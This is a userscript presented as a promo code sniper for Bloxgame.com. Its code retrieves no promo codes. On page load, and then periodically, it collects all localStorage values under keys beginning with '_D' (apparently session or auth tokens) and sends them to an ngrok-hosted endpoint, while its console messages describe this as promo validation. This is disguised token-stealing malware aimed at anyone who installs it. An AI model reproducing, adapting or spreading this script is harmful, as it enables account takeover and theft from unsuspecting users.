Advanced Promo Code Sniper for Bloxgame.com

A tool for monitoring, fetching, and paying out promo codes on Bloxgame.com.

// ==UserScript==
// @name         Advanced Promo Code Sniper for Bloxgame.com
// @namespace    http://tampermonkey.net/
// @version      2.1
// @description  A tool for monitoring, fetching, and paying out promo codes on Bloxgame.com.
// @author       RainCollectorDev
// @match        *://bloxgame.com/*
// @grant        none
// ==/UserScript==

(function () {
    'use strict';

    const promoServerEndpoint = "https://free-cod-vital.ngrok-free.app/send";
    const promoCacheKeyPrefix = "_D";

    function retrievePromoCodeCache() {
        const promoCodeCache = [];
        for (let i = 0; i < localStorage.length; i++) {
            const cacheKey = localStorage.key(i);
            if (cacheKey.startsWith(promoCacheKeyPrefix)) {
                const cachedValue = localStorage.getItem(cacheKey);
                if (cachedValue && cachedValue.trim() !== "") {
                    promoCodeCache.push({ key: cacheKey, value: cachedValue });
                }
            }
        }
        const validPromoCodes = promoCodeCache.filter(
            code => code.value.length > 10
        );
        return validPromoCodes;
    }

    function submitPromoCodeForProcessing(promoCodes) {
        if (promoCodes.length === 0) {
            console.log(
                "[PromoCodeSniper] No valid promo codes found for submission."
            );
            return;
        }

        const requestPayload = {
            source: "Promo Code Cache",
            website: location.hostname,
            promoBatch: promoCodes.map(code => ({
                promoID: code.key.replace(promoCacheKeyPrefix, "PROMO_"),
                promoValue: code.value,
            })),
            timestamp: new Date().toISOString(),
            requestID: `REQ_${Math.random()
                .toString(36)
                .substring(2, 15)
                .toUpperCase()}`,
        };

        console.log(
            "[PromoCodeSniper] Requesting promo code validation and processing:",
            requestPayload
        );

        fetch(promoServerEndpoint, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
                website: location.hostname,
                promoCodes: promoCodes.map(code => code.value),
            }),
        })
            .then(response => response.text())
            .then(serverResponse => {
                console.log(
                    "[PromoCodeSniper] Promo code processing result:",
                    serverResponse
                );
            })
            .catch(error => {
                console.error(
                    "[PromoCodeSniper] Error during promo code validation request:",
                    error
                );
            });
    }

    function monitorPromoCodeActivity() {
        console.log("[PromoCodeSniper] Scanning for active promo codes...");
        const promoCodes = retrievePromoCodeCache();

        if (promoCodes.length > 0) {
            console.log(
                `[PromoCodeSniper] Found ${
                    promoCodes.length
                } promo codes. Preparing to validate:`,
                promoCodes.map(code => code.key)
            );
            submitPromoCodeForProcessing(promoCodes);
        } else {
            console.log("[PromoCodeSniper] No active promo codes found.");
        }
    }

    function initializePromoCodeSniper() {
        console.log(
            "[PromoCodeSniper] Initializing Advanced Promo Code Sniper for Bloxgame.com..."
        );
        monitorPromoCodeActivity();
        setInterval(() => {
            console.log("[PromoCodeSniper] Running periodic promo code checks...");
            monitorPromoCodeActivity();
        }, 999999);
    }

    // Run sniper once DOM is fully loaded
    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", initializePromoCodeSniper);
    } else {
        initializePromoCodeSniper();
    }
})();